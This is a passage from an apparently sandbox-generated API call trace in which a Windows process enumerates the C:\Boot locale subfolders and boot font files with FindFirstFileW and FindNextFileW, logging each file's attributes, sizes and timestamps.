ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0223.650] FindNextFileW (in: hFindFile=0x6d0448, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef57d0f5, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xafa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0223.650] FindClose (in: hFindFile=0x6d0448 | out: hFindFile=0x6d0448) returned 1 [0223.650] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0223.651] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="es-ES", cAlternateFileName="")) returned 1 [0223.651] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4110060 [0223.651] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d03c8 [0223.652] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000b9ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef586d37, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.652] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0223.652] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0223.652] FindNextFileW (in: hFindFile=0x6d03c8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef586d37, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0223.652] FindClose (in: hFindFile=0x6d03c8 | out: hFindFile=0x6d03c8) returned 1 [0223.652] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0223.652] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="es-MX", cAlternateFileName="")) returned 1 [0223.652] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4110060 [0223.653] FindFirstFileW (in: lpFileName="C:\\Boot\\es-MX\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d0008 [0223.653] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000c12e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xc4853f40, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.653] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0223.654] FindNextFileW (in: hFindFile=0x6d0008, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4853f40, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4853f40, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0223.654] FindClose (in: hFindFile=0x6d0008 | out: hFindFile=0x6d0008) returned 1 [0223.654] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0223.654] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="et-EE", cAlternateFileName="")) returned 1 [0223.654] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4110060 [0223.654] FindFirstFileW (in: lpFileName="C:\\Boot\\et-EE\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d0608 [0223.654] FindNextFileW (in: hFindFile=0x6d0608, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc487a0b9, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.654] FindNextFileW (in: hFindFile=0x6d0608, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0223.654] FindNextFileW (in: hFindFile=0x6d0608, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0223.654] FindClose (in: hFindFile=0x6d0608 | out: hFindFile=0x6d0608) returned 1 [0223.655] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0223.655] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0223.655] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4110060 [0223.655] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6d0608 [0223.656] FindNextFileW (in: hFindFile=0x6d0608, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa000cf3a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef59a5b1, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.656] FindNextFileW (in: hFindFile=0x6d0608, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc487a0b9, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2096e751, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0223.656] FindNextFileW (in: hFindFile=0x6d0608, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0223.656] FindNextFileW (in: hFindFile=0x6d0608, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc487a0b9, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef59a5b1, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf3a246aa, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0223.656] FindClose (in: hFindFile=0x6d0608 | out: hFindFile=0x6d0608) returned 1 [0223.656] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x4110060 | out: hHeap=0x670000) returned 1 [0223.656] FindNextFileW (in: hFindFile=0x6d0348, lpFindFileData=0x2e8fa7c | out: lpFindFileData=0x2e8fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x116, dwReserved1=0xffffdf16, cFileName="Fonts", cAlternateFileName="")) returned 1 [0223.657] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x4110060 [0223.657] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x6cffc8 [0223.660] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0109451, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef999ae4, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0223.660] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc49ab3c7, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef782dd9, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x386467, dwReserved0=0x0, dwReserved1=0x0, cFileName="chs_boot.ttf", cAlternateFileName="")) returned 1 [0223.660] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a1dbea, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef81cc08, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x3b2e0a, dwReserved0=0x0, dwReserved1=0x0, cFileName="cht_boot.ttf", cAlternateFileName="")) returned 1 [0223.660] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4a902c2, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8771a7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x1e4d4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0223.660] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b4eed5, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8c4060, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x243588, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0223.661] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8e28b4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2ab6f, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgunn_boot.ttf", cAlternateFileName="MALGUN~1.TTF")) returned 1 [0223.661] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef8f4db4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2b506, dwReserved0=0x0, dwReserved1=0x0, cFileName="malgun_boot.ttf", cAlternateFileName="MALGUN~2.TTF")) returned 1 [0223.661] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4b9b37e, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9072c7, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2318a, dwReserved0=0x0, dwReserved1=0x0, cFileName="meiryon_boot.ttf", cAlternateFileName="MEIRYO~1.TTF")) returned 1 [0223.661] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef918492, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x2380b, dwReserved0=0x0, dwReserved1=0x0, cFileName="meiryo_boot.ttf", cAlternateFileName="MEIRYO~2.TTF")) returned 1 [0223.661] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4bc156a, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef92a947, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x27a1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjhn_boot.ttf", cAlternateFileName="MSJHN_~1.TTF")) returned 1 [0223.661] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef93ce3b, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x281fb, dwReserved0=0x0, dwReserved1=0x0, cFileName="msjh_boot.ttf", cAlternateFileName="MSJH_B~1.TTF")) returned 1 [0223.661] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef94dfcd, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x25b3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="msyhn_boot.ttf", cAlternateFileName="MSYHN_~1.TTF")) returned 1 [0223.661] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef95f141, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2488a26, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x26255, dwReserved0=0x0, dwReserved1=0x0, cFileName="msyh_boot.ttf", cAlternateFileName="MSYH_B~1.TTF")) returned 1 [0223.662] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4be7820, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef96ef3e, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xaf3b, dwReserved0=0x0, dwReserved1=0x0, cFileName="segmono_boot.ttf", cAlternateFileName="SEGMON~1.TTF")) returned 1 [0223.662] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c0da69, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef97d9ab, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x14f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="segoen_slboot.ttf", cAlternateFileName="SEGOEN~1.TTF")) returned 1 [0223.662] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef98c419, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x150a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="segoe_slboot.ttf", cAlternateFileName="SEGOE_~1.TTF")) returned 1 [0223.662] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf24aec9d, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xbfc3, dwReserved0=0x0, dwReserved1=0x0, cFileName="wgl4_boot.ttf", cAlternateFileName="WGL4_B~1.TTF")) returned 1 [0223.662] FindNextFileW (in: hFindFile=0x6cffc8, lpFindFileData=0x2e8f800 | out: lpFindFileData=0x2e8f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc4c33ce4, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef999ae4, ftLastAccessTime.dwHighDateTime=0x1d3273d, 